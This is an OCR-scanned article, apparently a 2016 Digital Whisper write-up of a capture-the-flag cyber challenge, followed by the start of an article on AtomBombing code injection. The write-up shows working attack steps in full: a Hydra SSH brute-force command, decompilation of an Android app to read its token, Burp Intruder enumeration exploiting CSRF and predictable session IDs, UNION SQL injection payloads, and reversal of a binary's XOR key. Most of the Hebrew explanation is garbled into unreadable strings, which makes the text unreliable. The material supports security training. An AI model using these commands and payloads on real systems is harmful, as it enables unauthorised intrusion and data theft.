1NNIXY NNO'ONI WNNWNN OW NIX W' 170 72V awnnn 7un ,|"yn TIV'N NNI00'N2A 1IX¥N
.Mr.Blonde:5UGPBKG7 :n'wonn

Great, kid. Don’t get cocky...

Network scope: 10.0.113.0-50 , www.email.com
Good Job!

However, Doodle uses a two-factor authentication, so we still have to get his token
Keep searching the network for ways to get his token.

Find the kidnapper's token and bypass Doodle's two-factor authentication

What is the title of the last email in his inbox?

TLVXIY IR 0T ,2 Factor Aauthentication-2 wnnwn Doodle 7w email.com "NXNW 022N 11NIX
117 Nty X7 117 W'Y DNo'onl Wnnunn DY IMTY7aW X1 L, NINANNNY [PI0N IR A'WN7 INWI'R

JTAY 120N 'K |'3.|'1'7 T2 INX7 NNWINA 7'NNa 1NN

DO d Ie Today's Quote: "What's up?" -- School kid

Create your Doodle Account

Email
Username:

New in Doodle two factor authentication!

test

Create a password

123456

Confirm your password
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2 NRM X' L(Doodle Validator) nnpion NX N7N1Nw n'Xp'79x W'Y 0'RIN 1INIX ,11NWN1IW INKY?

Doodle Validator

H PEGI3 whkh 3381 2

Enter PIN Number:

TRV X' YN N7 IO DIRT NWYDLANRP79RN IR TIINY NNWORK 117 W Install 7y 11N Nnx

Download Validator, two factor authentication for Android

Your PIN Code is:;
KVHkTrgOXv

Please Save it before You leave This page

APK-n NN 71917 *TD Dex2Jar-2 wnnwa .01710 X7 2311 NX11D 1INIX INTYaY PIN Code n7ay

NNAN NTIRON T 7V JAR yaup?

|d2j—dex2jar doodle-validator.apk

;DI SDCard-2 nmjpinn Cache-ni PIN Code-nw 0'RIN 12NIX JDGUI N12INA wIN'W INKNY

|/Android/data/com.doodle.elmo.doodlevalidator/cache/files

-8 android.support
=-H com.doodle.elmo.doodlevalidator

BuildCanfig.class
DoodeValidator.class
R

1) Doodevalidator.class 17

= import android.os.AsyncTask;

package com.doodle.elmo.doodlevalidator;

import android.os.Bundle;

import android.os.Environment;

import android.support.v7.app.ApoCompatActivity;
import android.view.View;

import android.view.View.OnClickListener;
import android.webkit.WebView;

import android.widget.Button;

import android.widget.EditText;

import java.io.File;

import java.io.FileOutputStream;

import java.util.Timer;

import java.util.TimerTask;

public class DocdeValidator
extends AppCompatActivity

EditText input_pin;

FileOutputStream outputStream;

public String path = Environment.getExternalStorageDirectory() + "/Android/data/com.doodle.elmo.doodlevalidator/cache/Files”;
String pinCode;

String pin_file = "pincode.txt";

private Timer timer;

Webview tuiew;

String url;

4
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NIRXIN NIX DX MPnY NX LIT-n UR 2w 271700 'won? van 1oy [pion N a'wn? 7awva
7w T'RNTIRD T'won 7w namdin X' 10.0.113.42 IP-n namdow naan nnaxk NMAP 7w npgmion

...00I9 VN2 NOPNN NTYA I'ZX ATNT N*'722aW NI'A7 215* ,NINS SSH 0210 'wona vl

TT'RINTIRD 1'WON7 2ITNY? NNuNa - Hydra-2 wnnwa nt 7awa

hydra -1 root -P rockyou.txt -t 1 ssh://10.0.113.42

sroot N7YW Mpna NP WNNUN DY -l e

JINNO'O YAI? -P @

.(Kali n'7y9nin nd>yn oy y'an) 12N NIXNO'0 N1'Wi'T rockyou.txt e
JWAN W 0Myn? X7 D TR 7NN NN My -t1 e

.10.0.113.42-1 SSH 17w NN 0'9'7NN X ANIX NMVANI 721710090 Protocol://IP:PORT e

..y

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-] )6 09:19:02

[DATA] max 1 task per 1 server, overall 64 tasks, 1 9 login tries (1:1/p:14344399), ~224131 tries per task
[DATA] attacking servi h on port 22

[22]1[ssh] host: 10.0.113 login: root password: iloveyou

1 of 1 target successfully compl , 1 valid password found

Hydra (http://www.thc.org/thc-h finished at -10-06 09:19:05

NINN7 0DMY 27 1NN root NINWAN 17'9X 117 W T'RINTIRD 1'WONY7 Nno'on NN 1IXR¥N lanhxin

:Cache-2 TOKEN-N NN 70w yaipn NX

root@x86: /storage/sdcardd/Android/data/com.doodle.elmo.doodlevalidator/cache/files # 1s -la
drwxrex- - - 2 68 1028 4096 Mar 27 07:22

drwxrwx- - - : 68 4096 Mar 27 07:15

=W W=~ 1 app_b8 1028 10 Mar 27 07:59 pincode.txt

-MW-TW---- 1 app 68 1028 152 Mar 27 13:00 token.html

..IT-0 701 7w 100 DX 7'on NXDY token.html yalz 17 ' Cachen 7w n''Maw D'RIN NNIX

root@x86: /storage/sdcard®/Android/data/com.doodle.elmo.doodlevalidator/cache/files # cat token.html
<div align="center"s><h1 style="color:green; font-size: 30px">Token:</hl><h2 stvle="color:blue;font-size: 50px"->{IBERY</h2></divs<br><br

><br><br><br>
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:NNO0'0NI YNNWNN OW 0'0I9N DY NDIYNAY7 NaNn) [i710N NX 117 w'wd nyd

DO d Ie Welcome back, Mr.Blonde@email .com! Sign out

Email Cc
COMPOSE tarantino RE: look at me
- nice to know, but just for the records you are not the first one. and plz don8amp;#3 June 8§, 2016
Inbox
asi.cohen RE: you are great! - nice to now...but plz stop sending me emails! June 8, 2016
Mr.Orange RE: Need Your Help - NP Blonde Whatever you need. Just send it to me... 18:#3%|| take care of it!

January 28, 2016

ARIT2 MINNXD NNNPN ,NAIYNN DX DT NNIX 1'WYI IT-N W' 7w [1AawN7 12annNn? 1nvyn

.Need Your Help :X'n 1N0OR7RN

The Doodle Strikes Back

Network scope: 10.0.113.0-50 , www.email.com
Excellent! We are in!

Now we only need to find his code for the A.D.1. server.

It seems that the kidnaper is having an interesting conversation with his friend
If only we could see the full conversation.

Retrieve the rest of the conversation and get the code

'R |':m'7 70X 1'WUdY ,']I'\UPITND AXITA NIANDNN )IN2 XXN]Y TIgnw 02'2N DNIXR Awn? 7ava

JIANDNNN DR NIKYY 117 WWOR'Y NNVAK 1IN NIX N2 XKI¥A7 "D NTA Ndwnn

:GET nwpaa nwa Farward-1 ,CSRF-7 ny'a® Nd>IWwnNNY 0'2'an 1INIX NN DY PNwn NN

13399 https://email.com GET Jindex. php/ main/forward/ 8 17To =NMr. Blonde% 4 0email. com ) O 200 4863 HTML Doodle
LA

Request | Response

Raw | Params | Headers | Hex

GET /index.php/main/forwvard/217?To=Nr.Elonde%40email.com HTTR/L.1

Host: email.com

Connection: keep-alive

Upgrade—Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: Wingd: x€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Lccepr: text/htwl, application/xhtml+xml, application/=ml; q=0.9, image/webp, */*:q=0.8

Refersr: https://email.com/index.php/main/view mail/81

[Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: en-U3,en;q=0.8

Cookie: PHPSESSID=h00aadcOijclavsveélsavik4llo

Mr.Blonde FWD: RE: Need Your Help - NP Blonde Whatever you need. Just send it to me... [&#39;|l take care of it!

NOIYN AR NN 'R N7WIYW NIWYR DY D'an nNIXE .Mr.Orange-7 7' Ni7wY D'on 11NIX

.OT X7 wnn XINY IR NYONI0IX
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T L (NN NIZ'TAY 12 D'YNNWNY 10D - Burpsuite 7w NIMary7a19) Intruder-2 wnnwa X

:Mr.Orange-7 N7w'NY nYTINY NNAIT

m Mr.Orange@email.com

Inbox

Message 81

https://femail.com/index.php/main/forward/817?
To=Mr.Blonde%40email.com

SEND

7''RN NAIMDY Forward N71Y9 My T X712 y¥A' RINY 27 0Nar CSRF-n - MW7 010' KIN TWUND

...n7v

[Targel TPosmons I Payloads T Options ]

@ Payload Positions start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for
full details.

Attack type: {Snlper ‘v]

POST /index.php/main/handle_new mail HTTP/1.1

Y
Host: smail.com r { it J
Connection: keep-alive _
Content-Length: 135 Clear §
Cache-Control: max-age=0
Origin: https://ewail.com Auto §
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/53.0.2785.143

Safari/537.36 skEEn
Content-Type: application/x-vwv—form-urlencoded

Accept: text/heml,application/xhtml+xml,application/xml;q=0.9, inage/webp, */*:q=0.08
Peferer: https://email.com/index.php/main/nev_mail

Accept—-Enceding: gzip, deflate, br

Accept-Language: =n-US,en;q=0.8

Cookis: PHPSESSID=h00aadcOjqlavsvélesavOk4lll

To=Mr.Orange$40email.comsTitle=Hessage+§8L§stext=hrtpss3A%2F52Femail. comZFindex. php%ZFmains ZFforvards 2 FEELEk 3F Tos3DMr . Elondes
2540=mail. com

9
v

@ EJ lZJ EJ Type a search term 0 matches Clear

7' 7¥ nwpa 751 N TINN 1%0Nn DR 9'7NnYT '721W T, 01N NYTINN 190N DX 0'9'0IN 11NIX

:Mr.Orange-7 N7w'w

Target | Positions TPayJoads T Options }

@ Payload Sets

K
Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload

set, and each payload type can be customized in different ways,

Payload set: |1 |» Payload count: 100

Payload type: | Numbers |» Request count: 200

Payload Options [Numbers]

&)

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ® Sequential () Random

From: 1

To: 100

Step: ‘ 1| ‘
How many:

POIX NT'N' 7w 2016 12ron NANK |NND
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:1-2 ny9 701 nTpnnw 100 Tv 1-n 0"90on oy ,Numbers a10n Payload-2 o'Mnia 121Nax

Mr.Orange FWD: RE: RE: Meed Your Help
-G re is what you need: < blank"
hr: 113.100/files/thisisnottl C relookingfor.wav" > https://10.0.113.100/files/thisisnotthemusicyouarelookingfor.wav < fa> #8230
June 8, 2016
Mr.Orange FWD: Need Your Help - Hii William! You think you can help me with something? | need you to save my secret&#8230;
June 8, 2016
Mr.Blonde FWD: RE: Need Your Help - MNP Blonde Whatever you need. Just send it to me... 18#39;l take care of it! June 8, 2016
tarantino RE: look at me - nice to know, but just for the records you are not the first one. and plz don&amp;#39;t&#8230;
June 8, 2016
asi.cohen RE: you are great! - nice to now..but plz stop sending me emails! June 8, 2016
Mr.Orange RE: Need Your Help - NP Blonde Whatever you need. Just send it to me... 18#32;l take care of it! January 28, 2016

‘TIRO YJ.I|7'7 Y'Y D Y'Y |"Iun 7'M 1IN¥YN XN INKRYT ,ARXIND IT

Mr.Orange Mr.Crange@email.com Jun 8

Great! Thanks! Here is what you need: https://10.0.113.100/files/thisisnotthemusicyouarelookingfor.wav You'll need "Sonic Visualiser” for that..wink
wink -_0

2V 7ama ¥ wio'n MNXR ,Sonic Visualizer-a wnnwnb 00X Yalpa Mg ano ant?
NIXTY? T2 .00V 717 'YAPA D'NX'ANN 'K 0'2'2N 12D NNAX Steganography Using Sonic Visualizer
2V YIn'77 ,Sonic Visualizer Dy yalpn NX NIN97 71X ,0LOFLVN NX

Layer -> Add Spectrogram -> All Channels Mixed.

File Edit View Pane Layer Transform Playback Help

E L’_j‘ = & i Add New Time Instants Layer VR e bk @ ] » A
1 ‘lﬁ Add New Time Values Layer [ | [ 'in' |
|
|

s
\ |

‘ EE Add New Notes Layer

‘ = Add New Regions Layer
Add New Text Layer T

\
T \
S WY (T
\

thnlm. Wb hL

M thisisnotthemusicyouarelookingfor.wav: All Channels Mixed Shift+G

Add Spectrogram

13
»

Add Melodic Range Spectrogram 4
b thisisnotthemusicyouarelookingfor.wav: Channel 1
13

thisisnotthemusicyouarelookingfor.wav: Channel 2

Add Peak Freguency Spectrogram
Add Spectrum
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..MM N¥P TITI DX TN |2 X7 N¥p

IL74CZJT82A X' D'WUONN NNIXY NNO'ONY NN
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Pisney (The Thief) - "w'7w 71%70n

You've Got a Friend in Me

One of the codes fo the A.D.I safe is guarded by the thief of the group

By going through his computer, we found a suspiciously large amount of visits to Pisney's website.

We suspect the kidnappers have been using this website in order to send each other messages.

Your starting point is the company's website: www.pisney.com.

Your first goal is to find a way to the Pisney's Friends' Zone and find out the next Star Wars movie's release date
Warning: Brute-Force attacks on the answer are monitored and will lead to an immediate disqualification.
Answer Pattern: dd/mm/yyyy

TUX] DY www.pisney.com INNN 7W DN2NN TRY 1107T DK KIXN? X' NUNNY 022N 12NN

.DDDN NNN'M 7Y UTNN 010N 7Y TNNWN 1IRN IR KIXNY

EFILMS TV GAMES

(Y7 190n - 1TnY? |IN1) Predictable XIn Session ID-NW NIXY? 071! 11NIX Cookies-n 7y ¥ LaNN

Session XIXN? NI017 12 Intruder Dy Burpsuite-2 wnNwa .Linux TimeStamp 112 X1 NTA 190NN

aya nainn Aty

) o) +

* pisney.com | ID

Walue

"
|

%)

Domain
films pisney.com
Path
b
Expiration
games 06/10/2017 12:04 PM
HostOnly [« Session [« Secure HttpOnly
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'9'7NN7 Nn NX YT Burpsuite-w T3 Session ID-N NN NW712 N0

Target I Proxy I Spider T Scanner Tlntmder T Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options TA\ens l

1x (2= By

Target IPmmons I Payloads I Options }

@ Payload Positions Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions — see help for
full details,

Attack type: lSniper ‘vJ

GET / HTTE/L.1

A
Host: pisney.com L Add §

Connection: keep-alive

Upgrade- Insscure—-Recquests: 1 Clear §
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win€4; x€4) AppleWebKit/537.3€ (EHTML, like Gecko) Chrome/53.0.2785.143

Safari/537.36 Auto §
Accept: text/html,application/xhtml+xml,application/xml;gq=0.9, imags/webp, */ *;q=0.8

Accept-Encoding: gzip, deflats, sdch, br

Accept-Language: en-US,en;g=0.8 Refresh

Cookie: ID=§14757444518

:1-2 ninTpnn 0Y147574451 Ty 1475740451-n 7'nNAi D1190n a10n Payload-1 11N

[Targst I Pasitions TPayJuads T Options }

@ Payload Sets

Start attack

You can define one or more payload sets, The number of payload sets depends on the attack type defined in the Positions tab, Various payload types are available for each payload
set, and each payload type can be customized in different ways.

Payload set: |1 .'. Payload count: 4,001

Payload type: | Numbers |® Request count: 4,001

Payload Options [Numbers]

=

This payload type generates numeric payloads within a given range and in a specified format.

Type: ® Sequential () Random
From: 1475740451

To: [lLa75744051

Step: 1

How many:

Base: (® Decimal () Hex

vTn |Ypo U'I5N] DY W'y NIXT7 0'71>' 11NN nZ'1 ANKNYT ,INYNN MY 7T Response 1IX¥N

:D'UONN NNIRY NN N7 (Unreleased Filmes)

48 1475740498 200 ] ] .327
43 1475740493 200 ] ] e327
50 1475740500 200 L [] 173
51 1475740501 200 ] ] .327

JRaw T Headers I Hex T HTML T Render ]

<li»<a href="films.php">Films </a></li»
<liz<a href="tv.php">TV</a></li>
<lir<a href="games.php">Games</a></1i>
klir<a href="new films.php">Unreleased films</a></li>
<lir»<a href="messagehoard.php">My Messages</a»></li>
<ful=

</ div=
<div class="clearing"=</div>
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DwI Unreleased Filmes-n 7w |wj707 0'0101 117w Cookies'? nX¥xnw Session ID-N NIX D'0*10N NNAX

:DDDN NNNM 7Y UTNN V10N NIX O'RXIN 1INIX

Star Wars: Episode VIII

tors: J.). Abrams

Writers: George Lucas

Rey took her first steps into a larger world in "Star Wars: The
Force Awakens' and will continue her epic journey with Finn,
Poe, and Luke Skywalker in the next chapter of the
continuing Star Wars saga

277 mawnin 01 13/08/2017 :Xin UYON 7W RN JIRN

Release Date: 13/08/2017

Datatouille
Website: www.pisney.com
Good job!

We are one step closer to getting the thief's secret code
But you need to do much more in order to get it
Start by finding the thief's username.

D'0I0N YIS'N NTIN NIANINN IRXNA ,021A0 7¢ UNNWNN DY NIX KIXAT DDNY 1NN ITH NN'wnl

.SQL Injection-7 7X'¥1019 N> N'KMIW D'WUTNN

SEARCH RESULTS FOR "™

no results were found.

2w avn x>\ 1ma wnnwa P7,(Y) v imn 7190w -2y 0770 7Y anY (1'0 W'y 0N 1NN
on'n' SQL-n nw D\ OR 1=1 -- " n'n* * OR 1=1 -- “ 1D ,nparnn 'T'¥ awn ' INY Escaping

220 Moo wnay

This St Tive Kot o (000 WS
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:Order By N1Ty2 N7202 W' NITINAY NNd N 21T2)

SEARCH RESULTS FOR "\" OR 1=1 ORDER BY 4 -\""

no results were found.

:3 N01 ,N7202 NITINY 4-n NINS Y'Y NIXYY7 D'712' 11NN

SEARCH RESULTS FOR "\" OR 1=1 ORDER BY 3 -\""

mN‘H‘ﬂ'a ‘
IOOKING
=, GIASS

‘01NN "TON NINY NX XXN] I'YDY ,NITINYN 190N NKX 1IRXN

SEARCH RESULTS FOR "\" UNION SELECT 1,TABLE_SCHEMA,3 FROM
INFORMATION_SCHEMA.COLUMNS --

|e_information_schema lp_site

niIx7a0n D I'2 D'YNNhvNn N720 NX W91 ,site XIN 'NDIN DIMIN TONW I'WOY D'WTI' 1INIX

:0D'1ININ TON2

SEARCH RESULTS FOR "\"* UNION SELECT

1,CONCAT(TABLE_NAME,0X202D20,COLUMN_NAME),3 FROM

SCHEMA.COLUMNS WHERE TABLE SCHEMA=0X73697465 --
LT ITMS - NAME [ TIIMS - year

SINFORMATION

i €
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2220 NN KIXNY7 'TD D'UNNUNN 7D DR X' (users) D'UNNWAN N710W IRYNY INKY

SEARCH RESULTS FOR "\"" UNION SELECT 1,USERNAME,3 FROM
_masteroogway _Haim14 Dashti3
[#.David8 [F0ayVig [ Shayd
0dedbbb

.David8 :XIN 2122NW 1IXXN D'YNNYN 190N 11'01Y INKY
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WALL-KEY

Website: www.pisney.com

Great! Now we are talking..

We have access to the Pisney Company’s internal database!

It looks like some messages are protected by a strong cryptographic algorithm
We need to find a way to reverse their encryption and extract the details

What is the thief's A.D.l code?

,JNNKXN 22Tn DX XIXN? N 7Y ONKQ NIYTINN DX N1y9Y 7N0XIY D1'AN DNIX AN'YUNA 1IR'MN

:SQL Injection-n NOPNN NITVYA DININ TOAN NIWYTINN YI7'N2 7'NM

<div class="left-col-content ">
<div class="left-col-coptent=titlell
<hl>Search Results for '\'' UNION SELECT 1,content,3 FROM site.messages —- \' '|"</11J.>

</divs
<ulr<li class="gallery pad-rightI”><a href="new films.php?id=1"><img src="3" alt="gBDitKyULNwydcFEzZNTurmlc
kt.xmg:sUEPQG_/’TaBmpakSc[jAOlTUP'?NiS+GslnoHrt,hE+.‘3LePG:MQTe]3HF;’lLSx:uYEOOssanprKvuOJs=”' fr</ar</liz<li class="gallery
pad-rightZ"><a href="newv films.php?id=1"><img src="3" alt="JtWE/bUzlrGNN] TogScwBHDD Zr Yki IFmR 142 LjsugyZlrxdokXSckeDOF I
JzUITnLCiiFDydP7UbsKYTNalbSKr IDnargOziWuyEiFulQy=" /s=</a></li*><li class="gallery"><a href="new_films.php?id=1"><img

sre="3" alt="tPELPGVVhIv+TaOusSKEI/elk==" /»</a></li><li class="gallery pad-rightZ"><a href="newv films.php?id=1"><img

sre="3" alt="33JDSL3I0A0ZVVRUEgPkyagqpS Vel XVHE fkxFrp E0pGuiliCD i fCIPwilNml0z2saZzp3ERuRt OEr IPBY7EErg=="" /></a></1li>

<liclass="gallery pad-rightl"><a href="new films.php?id=1"><img src="3" alt.=":mfnHwG'?KQsthaJ.A’?mEZU=="" frefar</liz</ul>
<fdivs

<fdiv>

A7 D710 "IINY DY NWO'N L, NNY'OY 200 NI 7100 D' 1Mawn  NIYTINN DX DX7'NY NNR

...ON7 NN wnn - INIR IR¥N1'7O0 7Y

SEARCH RESULTS FOR "\"" UNION SELECT

tact contact.php [&films films.php lo2tv tv.php films

games

ﬁ @JoinTheForce

ls2games games.php

ete/msgtool.ex

@PisneyPixar

ook

nm 7yw nXM S http://www.pisney.com/dev files to delete/msgtool.exe-n DN NX NTIN

nmimya Y1I|7'7 NNO'oN NN KNI¥NY? 7Y0X] .OWT 11'KY NN0'0 NN'RN YUpan XN IMIX 'vonY

...Reverse Engeneering

PoIx nT'n* 7w 2016 7avon NAnK NN
www.DigitalWhisper.co.il
52 2016 NanxT,78 |I'72



http://www.pisney.com/dev_files_to_delete/msgtool.exe

... IN2"2N N X 077

ANQ'T 'OIX 720 10'10N N1DINN 'ANDY 7222 TI2VN NDINNY O] T O 'Y y¥aY 7YY X1

;TR Opcode NIYWY VIYD NN X7 Nn'wNN - TIPa 010N Yoy 72V checksum awnnw

.YINN NINNY T2 nop-7 190 jnz - "WYY '11'Un DX NIXTYT N1 Ninna
193 %8s NTNNAN '97 .X7 IX |12 TIZn DX PITA? *TO2 NdWNY XNO'0 0'1Dn7 NN Xan 17wn

XY TIEN DX AN DAIWRY DDA 8-0 7Y AN A N nunY TIp VoA V'omy

; "Enter password:\n"

N7 IN M0 XNNO'ON DX NPTIAY AX2190 NN'A DN NKY

; "Bad passwordin'

; "Correcttyn”

TIP YO NIXAYZ [N QY2197 00121 DN .NNO'ON NX NPTIAW N'YA190 IT DITXA [nIonN Yoirn

:(0'ma 0x16 7T122) buf nwa Hardcoded X'nw NTINNn oy XOR yxanw

Buf =

"\x31\x26\x07\x33\x0D\x02\x3F\x31\x11\x30\x05\x26\x0D\x25\x07\x3D\x16\x2
6\x4A\x24\x10\x13"

791X NT'N' 7w 2016 120N NANK |INND
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amw 9 2" buffer-n 7 V%> D'0ON 1NINIXYW XNo'on DY XOR-n 21W'N y¥ann [pn INKY?

non? mmna

NTNNNN oY XOR 1YW MNK 19X2N |2 NXRIYN NY¥ANN Xan 27wl

str = "SecretMessageSuite.exe"

"Correct" NTINNNN NIX 7272 - NI ARIYANI NT'NAY AIX)

NNno'on ]'lrl"l'l'? [1221Nn N1an

NTNNAN DY XOR-n y¥anny nan .XOR-N y¥ann i 'K [anY |1'0" N'N XNo'oN No1dN INKY
NN 7Y [IN'921 VOO AN 7211 ,TIPA DYIYN DNINY NTNNNAN NN 17 W'y 77221 Hardcoded-n

:NN9NN DX NTh 7377

DAO2\x3F\x31x11\x30 \x05\x26\x0D\x2 5 \x0 7\ x3D\ X164 x2 6 \ x4 \x24 \ x10 \x13

e o b W R}
oo
[
=5
I

decStr =""
I?for i in xrange(len{(buf)):
g decStr 4= chr(ord(buf[i])*ord(bufl[i]})

1 print decStr

05 POoN NXN 29U ARXIND ANTDIT

| bCAAhvrTbCdAhvETHCAARY

N7XN D'INN DR 0'dNY7 [I'0 ' O 8 71 NI'N7 MY XINYI NNONN DX OWTIF IRY [11'N
NX NPI? TiEn oin aTon 9% X7 XOR-N NN y¥an NN :N'Wa TIY NN7ann T8 72X XNo'0d

L AYNY TAN DNNK DX MIX2 DNIp'nn

PoIx nT'n* 7w 2016 7avon NAnK NN
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Technologic

:ollydbg 2 nnn XOR-N NX Ny¥anw nx717n NX Na¥N IT Minn

=

16151010 H b
"

=

=

=
(e i b=

0 WORD PTR S5:[EBP-HC]

0 A WORD PTR S5:[EBP—41

: P MDIORD PTR SS:LEBP-8 1
E '.I 5;55555
P 0 f WORD PR S2:LEBPOC]
g PTR T )
! PTR T DI 1, A
' ‘SHORT 0122125

NNO'0Q [NNKRN DIP'MN DR NP7 TN JTINA ["yn Inwn n7ann k7172 0o nnd NRY

N> DMIpMN 72 NX NYT? "1 Hardcoded-n NTINNNA IWXIN Nfan oy XOR y¥a? ' nTipinw

197 DMIP'MN DX NRI7 XINY NIRYT7 [N DD DAIA'0 8 INRT7 TRI 12345678 NNO'ON NT7j7In 1IXY

8-6-4-2-7-5-3-1

X2N YTOoN

121N DIZ'NA NNONA NX AYTONY U970 2ND1 XAN aylUj}

dec3tr

1 otn

nnn

1 o Ln

10 realKey=""
11 realKey += dec3tr[7] +
12 print decStr
13 print realEey

I%for i in xrange (&):
dec3tr += chr({ord(buf[i]) *ord(bufl[i]})

dec3tr[3] + dec3tr[&] + dec3tr[2] + dec3tr[3] + decStr[l] + decStr[4]+ dec3tr[C]

1 1 byte to =xor iz pos 8 b
1 2 byte to xor is pos 6 C
1 3 byte to xor iz pos 4 d
2 4 byte to =Xor iz pos 2 R
21 5 byte to xor iz pos T h
22 & byte to xor iz pos 5 v
2 7 byte to =xor iz pos 3 r
24 8 byte to xor iz pos 1 T
791X NT'N' 7w 2016 120N NANK |INND
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nmy T2 ARIYN D'W¥an AN'RY NTRNAN IXRY 72 DNIR ["yn X7 D' 8 71 1YY 1N

DIIYXRIN D'NAN

bCdAhvrT
TArdvChb

INKX Y2I? NW9Y7 N'RINKX IT XN0'0 ...Correct! 7277 *T02 0507 1YW XNno'on IT N1IWN NNIYA
NDINN DX NIKY7 [N ARAN MIMNA NITANNN 70 DK D'NIY9N INTTYAY 70'T7 ANDW [ND'Ta

9XINnN VOPLN NKX D'NIYON NN'R

B C:\Users\b4dfdod\Desktop\raversing tools\cyber challenge 2016\SecretMessageSuite.exe = | B S

Enter 1 to encrpyt. 2 to decrypt. 3 to exit:
2

Please enter a string to decrypt:
(23JD9L30AAZUWRISE gPkyagpS1ZUt28nlHEB £ kxFmphBpGuiNCDi6f CEZPWSNmQOz2zaZ=zp3 ERuRtOErIPB
Y 7Borg==

Your decrypted string is:

Star Wars is going to be so AWESOME! I can’t waitt?
Enter 1 to encrpyt,. 2 to decrypt. 3 to exit:

Pleaﬂe enter a string to decrypt:

JtWH-bl= 1PGNHJ7quqUBHDDZP?k1]FmR142LJeuquLdeukHScchEFIJhUIUnL611FDydP7UhdH¥7
NalUNbSKrIDnargOz jUuye iFulQy =

Your decrypted string is:
ves, for extra safety we keep the location in a safe. your code is uBksdKF5G6.

Enter 1 to encrpyt. 2 to decrypt. 3 to exit:

.uBksdKF5Q6 :X'n |INNXN 7277 NaIwNn

791X NT'N' 7w 2016 120N NANK |INND
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KUY D"ivYy

e https://nmap.org/

e http://www.xlightftpd.com/

e https://www.exploit-db.com/

e https://filezilla-project.org/

e http://www.verexif.com/

e http://www.volatilityfoundation.org/

e http://www.putty.org/

e http://www.dahuasecurity.com/

e http://sonicvisualiser.org/

e https://portswigger.net/burp/

e https://www.pentestpartners.com/blog/exploiting-suid-executables/

o'oY

Reverse ,Web Application Security :123> .0mInn Nndd YT AYATI NN AN'N DNNNN
D'720NN W NAIYNN 70 DX D'0'10N TWUXD MANKN 9102 .TIVI Mobile Security ,Engineering

IMIA PTNIM 12 GPS-N DI' NX D72 11NIX 71701 751 DRINNRN

Congratulations You Got It!

POIX NT'N' 7w 2016 12ron NANK |NND
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https://filezilla-project.org/
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http://www.putty.org/
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79IN NT'N' 7V

'01UN NRFZNIMN NIDIWA NNNSA TN OUIND 7'N Y AWNNNTE NINA DTN XD POIX DTN
D'RTINY ,N"N02 MAIQ D'YAN DTN NIN'ON 'D1A 7R .TIVE NP ,N0™MY L JIDN DDA 1 ,7'Nn
NDWN 7Y 207 NNIMNND AWR 1210 DR NN TN NNA0NA NIS0I1 NIFTINY NIFOI7IIN TIVI
N'NNON 2P NIYTIMN NXR7YN71 NDAIRKAN NIN'O9N DIT'R? N2VID QTR IT DIMNRNI 770D .7'Nn
DINNN D'WIXYT ,NT'N'N 'NNO9NA7 12"0N NANK NNNN MY T DN'pnn 02 0wl .02"on MIkY

JTivi 7"nxa naron

D"annn 7y

.Open Source ANl F5 Networks N1ana yTn NNVAK J7In :(RealGame) Nn'T N o

http://www.RealGame.co.il ;01NVI'RNX  ©

realgam3@gmail.com :7'"m'X o

https://github.com/realgam3 :GitHub o

AIPNY7 2NIXRI Security-N NZ'7NN2 0110 |N'X NN2NA] - Reverse Engineering-n DINNQ 701y :d4d o
T IR NN9YT N1 YIVY IR W'Y NIRY 707 ,Nmani awnn ‘pnun
#reversing :ynya Nix 7w IRC-n "W ©

www.cheats4gamer.com MNNA I ©

Jlcashall@gmail.com :7"n'®Xn MMM IX o

niTin

D17 X'2N71 10NN NN NIX D7X¥7 'DIRY T IWATIYW N0 NIYRD 7V OIX DTN DTN ATIN
MSNYNY 27X’ 1aron NINNN 7 0M0190n 771 wnan v 'a an? anar X jnno

.(n19'¥7a n'w'7w naw N1 n'onnwn (Israelites) 11NIX D AT DX DWWTIN 1INIX) NIYI NIWN NIK?O

JNNNXD DY YI7W DHXNN 270 DY 17 TInRY NN NTInI

FEADERBOARD

NINNN2 DAIYXRIN NINIZAY IIN'R IN'OW NIXIARY TR0 ‘D

PoIx nT'n* 7w 2016 7avon NAnK NN
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Windows-7 nwTn np1Th NLV'W - AtomBombing

[M217 70 NN

7'7;nX
Async -I Atom Tables n7¥ann ,AtomBombing bwa Windows-7 nwTn npatn NO'YW A'¥n NT 1NKRN

.D'XIDIN NNVANN MI¥IN 2V DX NOFIY NV'WN ,DI0NON ATY 121 .Procedure Calls (APC)

TP DTN 7 9D Y7 TR T n70 N1 qpim 73 7w AN nivnn n2fzn nizinm nnx

NNAN NANd2 |",U'7 Y'TYJIYJ APT nio'pna 17¥ DIWUN D'YIN'WNI

http://blog.ensilo.com/atombombing-a-code-injection-that-bypasses-current-security-solutions

NIan

T2 APl NIN '1'n 722 11217 'N7nNn LenSilo NNan 7w apnnn DY WRY M2 Teonn 77n)

DINUI AR NIYVTIN |I'X NNVAXR NNANY NYTN NN NO'Y NIxnY l]|7|]'l'7 n'n' NnYp Nnd nix1Y
NN X710 070N W 20 190N 7V TIAYN NV'WAY M) ,90112 .NNUVAXN "X 2NN |7ITJI"I'7

'9'¥90 7NN 1Y NION
.Windows-7 nwTn npTh NO'W - AtomBombing-7 7:a1n Aznnn

:D"'TON 0'A%7W 3-2 Taly AtomBombing
201N 70NN 7Y MO ANN2 JNN'NAY7 NAINDY data 2IMd7 n'715'0 - Write-What-Where .1
.1 27wa anoaw TIpn DX YIN7 INKANE QN 70NN 9w thread v niv'nwn - Execution .2

.2 2%w2 nunwn 1'7Y thread-n 7w N¥MN ITAWIE NP1 - Restoration .3

-Windows"? nwTN N1t NU'wAtomBombing -
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http://blog.ensilo.com/atombombing-a-code-injection-that-bypasses-current-security-solutions
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Write-What-Where :1 2w

NIMyn TINN APl NINNP AT 'n'7,7m

e GlobalAddAtom - Adds a character string to the global atom table and returns a unique

value (an atom) identifying the string.

